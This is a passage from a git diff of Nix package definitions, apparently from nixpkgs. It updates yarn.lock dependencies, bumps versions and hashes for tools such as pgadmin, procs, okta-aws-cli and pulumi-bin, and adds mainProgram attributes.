"https://registry.yarnpkg.com/spdx-license-ids/-/spdx-license-ids-3.0.17.tgz#887da8aa73218e51a1d917502d79863161a93f9c" + integrity sha512-sh8PWc/ftMqAAdFiBu6Fy6JUOYjqDJBJvIhpfDMyHrr0Rbp5liZqd4TjtQ/RgfLjKFZb+LMx5hpml5qOWy0qvg== split-string@^3.0.1, split-string@^3.0.2: version "3.1.0" @@ -9536,7 +9592,7 @@ sprintf-js@1.1.2: resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.1.2.tgz#da1765262bf8c0f571749f2ad6c26300207ae673" integrity sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug== -sprintf-js@^1.1.1: +sprintf-js@^1.1.1, sprintf-js@^1.1.3: version "1.1.3" resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.1.3.tgz#4914b903a2f8b685d17fdf78a70e917e872e444a" integrity sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA== @@ -9619,9 +9675,9 @@ statuses@2.0.1: integrity sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA== store2@^2.13.0: - version "2.14.2" - resolved "https://registry.yarnpkg.com/store2/-/store2-2.14.2.tgz#56138d200f9fe5f582ad63bc2704dbc0e4a45068" - integrity sha512-siT1RiqlfQnGqgT/YzXVUNsom9S0H1OX+dpdGN1xkyYATo4I6sep5NmsRD/40s3IIOvlCq6akxkqG82urIZW1w== + version "2.14.3" + resolved "https://registry.yarnpkg.com/store2/-/store2-2.14.3.tgz#24077d7ba110711864e4f691d2af941ec533deb5" + integrity sha512-4QcZ+yx7nzEFiV4BMLnr/pRa5HYzNITX2ri0Zh6sT9EyQHbBHacC6YigllUPU9X3D0f/22QCgfokpKs52YRrUg== stream-connect@^1.0.1, stream-connect@^1.0.2: version "1.0.2" @@ -10090,9 +10146,9 @@ ts-custom-error@^3.2.0: integrity sha512-5OX1tzOjxWEgsr/YEUWSuPrQ00deKLh6D7OTWcvNHm12/7QPyRh8SYpyWvA4IZv8H/+GQWQEh/kwo95Q9OVW1A== ts-mixer@^6.0.3: - version "6.0.3" - resolved "https://registry.yarnpkg.com/ts-mixer/-/ts-mixer-6.0.3.tgz#69bd50f406ff39daa369885b16c77a6194c7cae6" - integrity sha512-k43M7uCG1AkTyxgnmI5MPwKoUvS/bRvLvUb7+Pgpdlmok8AoqmUaZxUUw8zKM5B1lqZrt41GjYgnvAi0fppqgQ== + version "6.0.4" + resolved "https://registry.yarnpkg.com/ts-mixer/-/ts-mixer-6.0.4.tgz#1da39ceabc09d947a82140d9f09db0f84919ca28" + integrity sha512-ufKpbmrugz5Aou4wcr5Wc1UUFWOLhq+Fm6qa6P0w0K5Qw2yhaUoiWszhCVuNQyNwrlGiscHOmqYoAox1PtvgjA== tslib@^1.11.1: version "1.14.1" @@ -10168,44 +10224,49 @@ type@^2.7.2: resolved "https://registry.yarnpkg.com/type/-/type-2.7.2.tgz#2376a15a3a28b1efa0f5350dcf72d24df6ef98d0" integrity sha512-dzlvlNlt6AXU7EBSfpAscydQ7gXB+pPGsPnfJnZpiNJBDj7IaJzQlBZYGdEi4R9HmPdBv2XmWJ6YUtoTa7lmCw== -typed-array-buffer@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/typed-array-buffer/-/typed-array-buffer-1.0.0.tgz#18de3e7ed7974b0a729d3feecb94338d1472cd60" - integrity sha512-Y8KTSIglk9OZEr8zywiIHG/kmQ7KWyjseXs1CbSo8vC42w7hg2HgYTxSWwP0+is7bWDc1H+Fo026CpHFwm8tkw== +typed-array-buffer@^1.0.1: + version "1.0.2" + resolved "https://registry.yarnpkg.com/typed-array-buffer/-/typed-array-buffer-1.0.2.tgz#1867c5d83b20fcb5ccf32649e5e2fc7424474ff3" + integrity sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ== dependencies: - call-bind "^1.0.2" - get-intrinsic "^1.2.1" - is-typed-array "^1.1.10" + call-bind "^1.0.7" + es-errors "^1.3.0" + is-typed-array "^1.1.13" typed-array-byte-length@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/typed-array-byte-length/-/typed-array-byte-length-1.0.0.tgz#d787a24a995711611fb2b87a4052799517b230d0" - integrity sha512-Or/+kvLxNpeQ9DtSydonMxCx+9ZXOswtwJn17SNLvhptaXYDJvkFFP5zbfU/uLmvnBJlI4yrnXRxpdWH/M5tNA== + version "1.0.1" + resolved "https://registry.yarnpkg.com/typed-array-byte-length/-/typed-array-byte-length-1.0.1.tgz#d92972d3cff99a3fa2e765a28fcdc0f1d89dec67" + integrity sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw== dependencies: - call-bind "^1.0.2" + call-bind "^1.0.7" for-each "^0.3.3" - has-proto "^1.0.1" - is-typed-array "^1.1.10" + gopd "^1.0.1" + has-proto "^1.0.3" + is-typed-array "^1.1.13" typed-array-byte-offset@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/typed-array-byte-offset/-/typed-array-byte-offset-1.0.0.tgz#cbbe89b51fdef9cd6aaf07ad4707340abbc4ea0b" - integrity sha512-RD97prjEt9EL8YgAgpOkf3O4IF9lhJFr9g0htQkm0rchFp/Vx7LW5Q8fSXXub7BXAODyUQohRMyOc3faCPd0hg== + version "1.0.2" + resolved "https://registry.yarnpkg.com/typed-array-byte-offset/-/typed-array-byte-offset-1.0.2.tgz#f9ec1acb9259f395093e4567eb3c28a580d02063" + integrity sha512-Ous0vodHa56FviZucS2E63zkgtgrACj7omjwd/8lTEMEPFFyjfixMZ1ZXenpgCFBBt4EC1J2XsyVS2gkG0eTFA== dependencies: - available-typed-arrays "^1.0.5" - call-bind "^1.0.2" + available-typed-arrays "^1.0.7" + call-bind "^1.0.7" for-each "^0.3.3" - has-proto "^1.0.1" - is-typed-array "^1.1.10" + gopd "^1.0.1" + has-proto "^1.0.3" + is-typed-array "^1.1.13" typed-array-length@^1.0.4: - version "1.0.4" - resolved "https://registry.yarnpkg.com/typed-array-length/-/typed-array-length-1.0.4.tgz#89d83785e5c4098bec72e08b319651f0eac9c1bb" - integrity sha512-KjZypGq+I/H7HI5HlOoGHkWUUGq+Q0TPhQurLbyrVrvnKTBgzLhIJ7j6J/XTQOi0d1RjyZ0wdas8bKs2p0x3Ng== + version "1.0.5" + resolved "https://registry.yarnpkg.com/typed-array-length/-/typed-array-length-1.0.5.tgz#57d44da160296d8663fd63180a1802ebf25905d5" + integrity sha512-yMi0PlwuznKHxKmcpoOdeLwxBoVPkqZxd7q2FgMkmD3bNwvF5VW0+UlUQ1k1vmktTu4Yu13Q0RIxEP8+B+wloA== dependencies: - call-bind "^1.0.2" + call-bind "^1.0.7" for-each "^0.3.3" - is-typed-array "^1.1.9" + gopd "^1.0.1" + has-proto "^1.0.3" + is-typed-array "^1.1.13" + possible-typed-array-names "^1.0.0" typedarray-to-buffer@^3.1.5: version "3.1.5" @@ -10295,9 +10356,9 @@ undici-types@~5.26.4: integrity sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA== undici@^5.11.0, undici@^5.22.0: - version "5.28.2" - resolved "https://registry.yarnpkg.com/undici/-/undici-5.28.2.tgz#fea200eac65fc7ecaff80a023d1a0543423b4c91" - integrity sha512-wh1pHJHnUeQV5Xa8/kyQhO7WFa8M34l026L5P/+2TYiakvGy5Rdc8jWZVyG7ieht/0WgJLEd3kcU5gKx+6GC8w== + version "5.28.3" + resolved "https://registry.yarnpkg.com/undici/-/undici-5.28.3.tgz#a731e0eff2c3fcfd41c1169a869062be222d1e5b" + integrity sha512-3ItfzbrhDlINjaP0duwnNsKpDQk3acHI3gVJ1z4fmwMK31k5G9OVIAMLSIaP6w4FaGkaAkN6zaQO9LUvZ1t7VA== dependencies: "@fastify/busboy" "^2.0.0" @@ -10658,16 +10719,16 @@ which-module@^2.0.0: resolved "https://registry.yarnpkg.com/which-module/-/which-module-2.0.1.tgz#776b1fe35d90aebe99e8ac15eb24093389a4a409" integrity sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ== -which-typed-array@^1.1.11, which-typed-array@^1.1.13: - version "1.1.13" - resolved "https://registry.yarnpkg.com/which-typed-array/-/which-typed-array-1.1.13.tgz#870cd5be06ddb616f504e7b039c4c24898184d36" - integrity sha512-P5Nra0qjSncduVPEAr7xhoF5guty49ArDTwzJ/yNuPIbZppyRxFQsRCWrocxIY+CnMVG+qfbU2FmDKyvSGClow== +which-typed-array@^1.1.14: + version "1.1.14" + resolved "https://registry.yarnpkg.com/which-typed-array/-/which-typed-array-1.1.14.tgz#1f78a111aee1e131ca66164d8bdc3ab062c95a06" + integrity sha512-VnXFiIW8yNn9kIHN88xvZ4yOWchftKDsRJ8fEPacX/wl1lOvBrhsJ/OeJCXq7B0AaijRuqgzSKalJoPk+D8MPg== dependencies: - available-typed-arrays "^1.0.5" - call-bind "^1.0.4" + available-typed-arrays "^1.0.6" + call-bind "^1.0.5" for-each "^0.3.3" gopd "^1.0.1" - has-tostringtag "^1.0.0" + has-tostringtag "^1.0.1" which@^1.2.14, which@^1.2.9, which@^1.3.0: version "1.3.1" @@ -10708,9 +10769,9 @@ window-size@^0.2.0: integrity sha512-UD7d8HFA2+PZsbKyaOCEy8gMh1oDtHgJh1LfgjQ4zVXmYjAT/kvz3PueITKuqDiIXQe7yzpPnxX3lNc+AhQMyw== winston-transport@^4.5.0: - version "4.6.0" - resolved "https://registry.yarnpkg.com/winston-transport/-/winston-transport-4.6.0.tgz#f1c1a665ad1b366df72199e27892721832a19e1b" - integrity sha512-wbBA9PbPAHxKiygo7ub7BYRiKxms0tpfU2ljtWzb3SjRjv5yl6Ozuy/TkXf00HTAt+Uylo3gSkNwzc4ME0wiIg== + version "4.7.0" + resolved "https://registry.yarnpkg.com/winston-transport/-/winston-transport-4.7.0.tgz#e302e6889e6ccb7f383b926df6936a5b781bd1f0" + integrity sha512-ajBj65K5I7denzer2IYW6+2bNIVqLGDHqDw3Ow8Ohh+vdW+rv4MZ6eiDvHoKhfJFZ2auyN8byXieDDJ96ViONg== dependencies: logform "^2.3.2" readable-stream "^3.6.0" diff --git a/pkgs/tools/admin/netbox2netshot/default.nix b/pkgs/tools/admin/netbox2netshot/default.nix index 76ca3a68cf3de..47b6dc2e293df 100644 --- a/pkgs/tools/admin/netbox2netshot/default.nix +++ b/pkgs/tools/admin/netbox2netshot/default.nix @@ -36,5 +36,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/scaleway/netbox2netshot"; license = licenses.asl20; maintainers = with maintainers; [ janik ]; + mainProgram = "netbox2netshot"; }; } diff --git a/pkgs/tools/admin/netplan/default.nix b/pkgs/tools/admin/netplan/default.nix index d84185863ff67..8b6443bfd1375 100644 --- a/pkgs/tools/admin/netplan/default.nix +++ b/pkgs/tools/admin/netplan/default.nix @@ -69,5 +69,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Only; maintainers = with maintainers; [ mkg20001 ]; platforms = platforms.linux; + mainProgram = "netplan"; }; } diff --git a/pkgs/tools/admin/okta-aws-cli/default.nix b/pkgs/tools/admin/okta-aws-cli/default.nix index 805683df8d516..a3b177af6c8cd 100644 --- a/pkgs/tools/admin/okta-aws-cli/default.nix +++ b/pkgs/tools/admin/okta-aws-cli/default.nix @@ -2,7 +2,7 @@ buildGoModule rec { pname = "okta-aws-cli"; - version = "2.0.1"; + version = "2.1.2"; subPackages = [ "cmd/okta-aws-cli" ]; @@ -10,7 +10,7 @@ buildGoModule rec { owner = "okta"; repo = "okta-aws-cli"; rev = "v${version}"; - sha256 = "sha256-A49TpwvF7zQFCqffLeb1FOxbRwe4yhKSGs7YKNfpNSY="; + sha256 = "sha256-MNaoCefJwUPWYPZ+AtQUHhm1ZKSFq+hCGGAFwBxrbWI="; }; vendorHash = "sha256-SjABVO6tHYRc/1pYjOqfZP+NfnK1/WnAcY5NQ4hMssE="; @@ -22,5 +22,6 @@ buildGoModule rec { homepage = "https://github.com/okta/okta-aws-cli"; license = licenses.asl20; maintainers = with maintainers; [ daniyalsuri6 ]; + mainProgram = "okta-aws-cli"; }; } diff --git a/pkgs/tools/admin/ossutil/default.nix b/pkgs/tools/admin/ossutil/default.nix index f8347b2828804..c858b9706b160 100644 --- a/pkgs/tools/admin/ossutil/default.nix +++ b/pkgs/tools/admin/ossutil/default.nix @@ -22,5 +22,6 @@ buildGoModule rec { changelog = "https://github.com/aliyun/ossutil/blob/v${version}/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ jpetrucciani ]; + mainProgram = "ossutil"; }; } diff --git a/pkgs/tools/admin/pbm/default.nix b/pkgs/tools/admin/pbm/default.nix index 4fe6c95a4893f..e681d6f286dba 100644 --- a/pkgs/tools/admin/pbm/default.nix +++ b/pkgs/tools/admin/pbm/default.nix @@ -13,5 +13,6 @@ buildDotnetGlobalTool { license = licenses.unfree; platforms = platforms.linux; maintainers = with maintainers; [ anpin mdarocha ]; + mainProgram = "pbm"; }; } diff --git a/pkgs/tools/admin/pgadmin/default.nix b/pkgs/tools/admin/pgadmin/default.nix index 586d553f41091..dcd250b9e8370 100644 --- a/pkgs/tools/admin/pgadmin/default.nix +++ b/pkgs/tools/admin/pgadmin/default.nix @@ -14,14 +14,14 @@ let pname = "pgadmin"; - version = "8.2"; - yarnHash = "sha256-uMSgpkYoLD32VYDAkjywC9bZjm7UKA0hhwVNc/toEbA="; + version = "8.3"; + yarnHash = "sha256-nhHss4YOFu2cGkIhA909lIdnf3H3pD9BQx4PvP9+9c0="; src = fetchFromGitHub { owner = "pgadmin-org"; repo = "pgadmin4"; rev = "REL-${lib.versions.major version}_${lib.versions.minor version}"; - hash = "sha256-RfpZXy265kwpMsWUBDVfbL/0eX0By79I4VNkG8zwVOs="; + hash = "sha256-2L/JLkuyjx1oD9akQULmzW0FlSq8/MQlZ1HmlO81jj0="; }; # keep the scope, as it is used throughout the derivation and tests diff --git a/pkgs/tools/admin/pgadmin/yarn.lock b/pkgs/tools/admin/pgadmin/yarn.lock index cf3e188e8674f..c6573efabf780 100644 --- a/pkgs/tools/admin/pgadmin/yarn.lock +++ b/pkgs/tools/admin/pgadmin/yarn.lock @@ -4593,7 +4593,7 @@ combined-stream@^1.0.8: dependencies: delayed-stream "~1.0.0" -"commander@^2.20.0", "commander@^2.8.1": +"commander@^2.19.0", "commander@^2.20.0", "commander@^2.8.1": version "2.20.3" resolved "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz#fd485e84c03eb4881c20722ba48035e8531aeb33" integrity sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ== @@ -5369,6 +5369,11 @@ dir-glob@^3.0.1: dependencies: path-type "^4.0.0" +discontinuous-range@1.0.0: + version "1.0.0" + resolved "https://registry.npmjs.org/discontinuous-range/-/discontinuous-range-1.0.0.tgz#e38331f0844bba49b9a9cb71c771585aab1bc65a" + integrity sha512-c68LpLbO+7kP/b1Hr1qs8/BJ09F5khZGTxqxZuhzxpmwJKOgRFHJWIb9/KmqnqHhLdO55aOxFH/EGBvUQbL/RQ== + dnd-core@14.0.1: version "14.0.1" resolved "https://registry.npmjs.org/dnd-core/-/dnd-core-14.0.1.tgz#76d000e41c494983210fb20a48b835f81a203c2e" @@ -6490,6 +6495,11 @@ get-proxy@^2.0.0: dependencies: npm-conf "^1.1.0" +get-stdin@=8.0.0: + version "8.0.0" + resolved "https://registry.npmjs.org/get-stdin/-/get-stdin-8.0.0.tgz#cbad6a73feb75f6eeb22ba9e01f89aa28aa97a53" + integrity sha512-sY22aA6xchAzprjyqmSEQv4UbAAzRN0L2dQB0NlN5acTTK9Don6nhoc3eAbUnpZiCANAMfd/+40kVdKfFygohg== + "get-stream@3.0.0", "get-stream@^3.0.0": version "3.0.0" resolved "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz#8e943d1358dc37555054ecbe2edb05aa174ede14" @@ -8903,6 +8913,11 @@ moment@^2.29.4: resolved "https://registry.npmjs.org/moment/-/moment-2.29.4.tgz#3dbe052889fe7c1b2ed966fcb3a77328964ef108" integrity sha512-5LC9SOxjSc2HF6vO2CyuTDNivEdoz2IvyJJGj6X8DJ0eFyfszE0QiEd+iXmBvUP3WHxSjFH/vIsA0EN00cgr8w== +moo@^0.5.0: + version "0.5.2" + resolved "https://registry.npmjs.org/moo/-/moo-0.5.2.tgz#f9fe82473bc7c184b0d32e2215d3f6e67278733c" + integrity sha512-iSAJLHYKnX41mKcJKjqvnAN9sf0LMDTXDEvFv+ffuRR9a1MIuXLjMNL6EsnDHSkKLTWNqQQ5uo61P4EbU4NU+Q== + mousetrap@^1.6.3: version "1.6.5" resolved "https://registry.npmjs.org/mousetrap/-/mousetrap-1.6.5.tgz#8a766d8c272b08393d5f56074e0b5ec183485bf9" @@ -8958,6 +8973,16 @@ natural-compare@^1.4.0: resolved "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz#4abebfeed7541f2c27acfb29bdbbd15c8d5ba4f7" integrity sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw== +nearley@^2.20.1: + version "2.20.1" + resolved "https://registry.npmjs.org/nearley/-/nearley-2.20.1.tgz#246cd33eff0d012faf197ff6774d7ac78acdd474" + integrity sha512-+Mc8UaAebFzgV+KpI5n7DasuuQCHA89dmwm7JXw3TV43ukfNQ9DnBH3Mdb2g/I4Fdxc26pwimBWvjIw0UAILSQ== + dependencies: + commander "^2.19.0" + moo "^0.5.0" + railroad-diagrams "^1.0.0" + randexp "0.4.6" + neatequal@^1.0.0: version "1.0.0" resolved "https://registry.npmjs.org/neatequal/-/neatequal-1.0.0.tgz#2ee1211bc9fa6e4c55715fd210bb05602eb1ae3b" @@ -10210,6 +10235,19 @@ raf@^3.4.1: dependencies: performance-now "^2.1.0" +railroad-diagrams@^1.0.0: + version "1.0.0" + resolved "https://registry.npmjs.org/railroad-diagrams/-/railroad-diagrams-1.0.0.tgz#eb7e6267548ddedfb899c1b90e57374559cddb7e" + integrity sha512-cz93DjNeLY0idrCNOH6PviZGRN9GJhsdm9hpn1YCS879fj4W+x5IFJhhkRZcwVgMmFF7R82UA/7Oh+R8lLZg6A== + +randexp@0.4.6: + version "0.4.6" + resolved "https://registry.npmjs.org/randexp/-/randexp-0.4.6.tgz#e986ad5e5e31dae13ddd6f7b3019aa7c87f60ca3" + integrity sha512-80WNmd9DA0tmZrw9qQa62GPPWfuXJknrmVmLcxvq4uZBdYqb1wYoKTmnlGUchvVWe0XiLupYkBoXVOxz3C8DYQ== + dependencies: + discontinuous-range "1.0.0" + ret "~0.1.10" + "randombytes@^2.0.0", "randombytes@^2.0.1", "randombytes@^2.0.5", "randombytes@^2.1.0": version "2.1.0" resolved "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz#df6f84372f0270dc65cdf6291349ab7a473d4f2a" @@ -10842,6 +10880,11 @@ responselike@1.0.2: dependencies: lowercase-keys "^1.0.0" +ret@~0.1.10: + version "0.1.15" + resolved "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz#b8a4825d5bdb1fc3f6f53c2bc33f81388681c7bc" + integrity sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg== + retry@^0.12.0: version "0.12.0" resolved "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz#1b42a6266a21f07421d1b0b54b7dc167b01c013b" @@ -11331,6 +11374,15 @@ sprintf-js@~1.0.2: resolved "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c" integrity sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g== +sql-formatter@^15.1.2: + version "15.1.2" + resolved "https://registry.npmjs.org/sql-formatter/-/sql-formatter-15.1.2.tgz#86df2592eedf6d422244e10e00a74380c22791b7" + integrity sha512-zBrLBclCNurCsQaO6yMvkXzHvv7eJPjiF8LIEQ5HdBV/x6UuWIZwqss3mlZ/6HLj+VYhFKeHpQnyLuZWG2agKQ== + dependencies: + argparse "^2.0.1" + get-stdin "=8.0.0" + nearley "^2.20.1" + ssri@^10.0.0: version "10.0.4" resolved "https://registry.npmjs.org/ssri/-/ssri-10.0.4.tgz#5a20af378be586df139ddb2dfb3bf992cf0daba6" @@ -12716,8 +12768,3 @@ zustand@^4.4.1: resolved "https://github.com/pgadmin-org/react-data-grid.git#200d2f5e02de694e3e9ffbe177c279bc40240fb8" dependencies: "clsx" "^1.1.1" -"react-data-grid@https://github.com/pgadmin-org/react-data-grid.git#200d2f5e02de694e3e9ffbe177c279bc40240fb8": - version "7.0.0-beta.14" - resolved "https://github.com/pgadmin-org/react-data-grid.git#200d2f5e02de694e3e9ffbe177c279bc40240fb8" - dependencies: - "clsx" "^1.1.1" diff --git a/pkgs/tools/admin/procs/default.nix b/pkgs/tools/admin/procs/default.nix index c72c498f7cb22..49666f9d6805f 100644 --- a/pkgs/tools/admin/procs/default.nix +++ b/pkgs/tools/admin/procs/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "procs"; - version = "0.14.4"; + version = "0.14.5"; src = fetchFromGitHub { owner = "dalance"; repo = "procs"; rev = "v${version}"; - hash = "sha256-Gx3HRGWi+t/wT1WrbuHXVyX+cP+JvZV8lBun1Qs8Xys="; + hash = "sha256-9kxJrvlaEoEkPPoU4/9IlX2TvDUG9VZwtb4a3N9rAsc="; }; - cargoHash = "sha256-0eLOAZnHbnvT8qgSfWO/RKXIdRr5wwfUQ9YQ77I6okQ="; + cargoHash = "sha256-2g+6FmcO4t9tjLq7xkBaLAgbzQoBgskr8csM/1tHbWI="; nativeBuildInputs = [ installShellFiles ] ++ lib.optionals stdenv.isDarwin [ rustPlatform.bindgenHook ]; diff --git a/pkgs/tools/admin/pulumi-bin/data.nix b/pkgs/tools/admin/pulumi-bin/data.nix index 00cd07621ae98..c5862887c5533 100644 --- a/pkgs/tools/admin/pulumi-bin/data.nix +++ b/pkgs/tools/admin/pulumi-bin/data.nix @@ -1,160 +1,160 @@ # DO NOT EDIT! This file is generated automatically by update.sh { }: { - version = "3.95.0"; + version = "3.108.1"; pulumiPkgs = { x86_64-linux = [ { - url = "https://get.pulumi.com/releases/sdk/pulumi-v3.95.0-linux-x64.tar.gz"; - sha256 = "1ig942izr0bjjnmccjdrna1fy1245s0l5mbr80xbxm5lima9z66p"; + url = "https://get.pulumi.com/releases/sdk/pulumi-v3.108.1-linux-x64.tar.gz"; + sha256 = "179hffqii76pc1ir8819af5vy6iiyygx5k33zpff0pg5bc6xm4w0"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aiven-v6.7.2-linux-amd64.tar.gz"; - sha256 = "1ppfs7cnhns4lqxj7cs87f78hcvy73r32fa7wxcybl5wnd73g5c6"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aiven-v6.12.0-linux-amd64.tar.gz"; + sha256 = "1d6ipvy3s98ac92np4s5czqbsxv9pvzw2nv4wgix01lc9ayd9x77"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-akamai-v6.3.1-linux-amd64.tar.gz"; - sha256 = "0pf1pka8pq4cizlnf5hm5ji1hf5nchkj21mwpi2cxdk2w4ghw0ds"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-akamai-v6.4.0-linux-amd64.tar.gz"; + sha256 = "17c5960kcjzz3hl4nwh41qkpj67072cfs2bxbqin9b2b33x9bfvy"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-alicloud-v3.45.0-linux-amd64.tar.gz"; - sha256 = "0cp4f5syq1jbkvw1gjxyfwf6kv1qkzb68x7gqm2xdb9j4glx4wab"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-alicloud-v3.49.1-linux-amd64.tar.gz"; + sha256 = "17isifx3ysxdi4lrl8blkpzvcxn2yzxvyx3xsr22mqna57lzvh3l"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-artifactory-v5.5.0-linux-amd64.tar.gz"; - sha256 = "0gha4nm5gg4s3hqy7whdywkd0mpndmgjq9xmswqzvapjj7hjcnh6"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-artifactory-v6.1.4-linux-amd64.tar.gz"; + sha256 = "0ck22ygb0dhkhpp47fwy7zq30i0cnqs7c76lfmzxvlb7435h5j7r"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-auth0-v3.1.0-linux-amd64.tar.gz"; - sha256 = "05mhvif4minkr5mi0yjghsd9ffx9wyb5chjp0kz3256d4clld6ai"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-auth0-v3.1.2-linux-amd64.tar.gz"; + sha256 = "06gz2xqmwms01r4p59l9yvv3w3jvmlyaqr8y2z91hn0im4l8df2b"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aws-v6.13.0-linux-amd64.tar.gz"; - sha256 = "1p4k8fx6ix8y7bb8mjvk0avq5r7lam3yywncb05vxiw5qwqls9s0"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aws-v6.24.0-linux-amd64.tar.gz"; + sha256 = "1rimqplyil0r84n7yw9nzjx8y4r9k6fnyp7my1qb1wqy6w8sx5y4"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuread-v5.46.0-linux-amd64.tar.gz"; - sha256 = "0dl60nrgilg9ccn28dnyrv0lw6sqrcy26r4kgcbdqkw0f15isjhv"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuread-v5.47.2-linux-amd64.tar.gz"; + sha256 = "0d2swa7irx1xr18gs4p3can1bp1pckk5cggfl5cdfkrz966rv8cb"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuredevops-v2.14.0-linux-amd64.tar.gz"; - sha256 = "029xymc6ynb7aq5wdkvksgqhjl9aix5j3rn8dfzlbmrmmz0xyvxr"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuredevops-v2.15.0-linux-amd64.tar.gz"; + sha256 = "0jaqkf7ibp0vxrvz6imaal9iyf60p6hhay7vmh62vmm0jgdv1ply"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azure-v5.58.0-linux-amd64.tar.gz"; - sha256 = "17q3186a3awbh0v0rxby4a8qdl49zbbc46a1fjaqhsg14sizryfl"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azure-v5.67.1-linux-amd64.tar.gz"; + sha256 = "01yh8cz2nq27ir6smv6j9rhnv796id961grd2ayjyjcrpin6b0pd"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-cloudflare-v5.16.0-linux-amd64.tar.gz"; - sha256 = "05k325y99wcg3584bbgkrh20zq46y6hi1sk2bi0jm6njvwyb786w"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-cloudflare-v5.21.0-linux-amd64.tar.gz"; + sha256 = "0flrznd119ld5py2aj69adyfwrrx4vp7y7hdqdq8r5sjbvlz7hi0"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-consul-v3.11.0-linux-amd64.tar.gz"; - sha256 = "1v8x27yi6mqj8sxwwl7jvw5960pv98y4lkyj9gyx3260a3hsgav2"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-consul-v3.11.1-linux-amd64.tar.gz"; + sha256 = "1rjh73d5jq2p9ll6xann3mns4dsnb8jgnkndjxbgcpv45i0k1ih6"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-datadog-v4.23.0-linux-amd64.tar.gz"; - sha256 = "0bsbfsc7wxsjyqyz5klxn91hd1lwini4pbpm0lw5pf78af7z8v0z"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-datadog-v4.25.1-linux-amd64.tar.gz"; + sha256 = "0afs9wdp11sxps0hrwwan1h44cxa0z52yhh43rl6rg13chhqlhk8"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-digitalocean-v4.24.0-linux-amd64.tar.gz"; - sha256 = "1j7zkyjn7v98l5m9a3cgpy5ckx5y4kirda8i3im58dbyripwzppi"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-digitalocean-v4.25.2-linux-amd64.tar.gz"; + sha256 = "0rjylfka3cal5ailkvkwyjf83gyh85zya2asswmvvnb0llfhc33i"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-docker-v4.5.0-linux-amd64.tar.gz"; - sha256 = "0v4bg7iz6fnvca59z74ymqilkra4mldbs1xa4w1ijw4jvbnyq3vr"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-docker-v4.5.1-linux-amd64.tar.gz"; + sha256 = 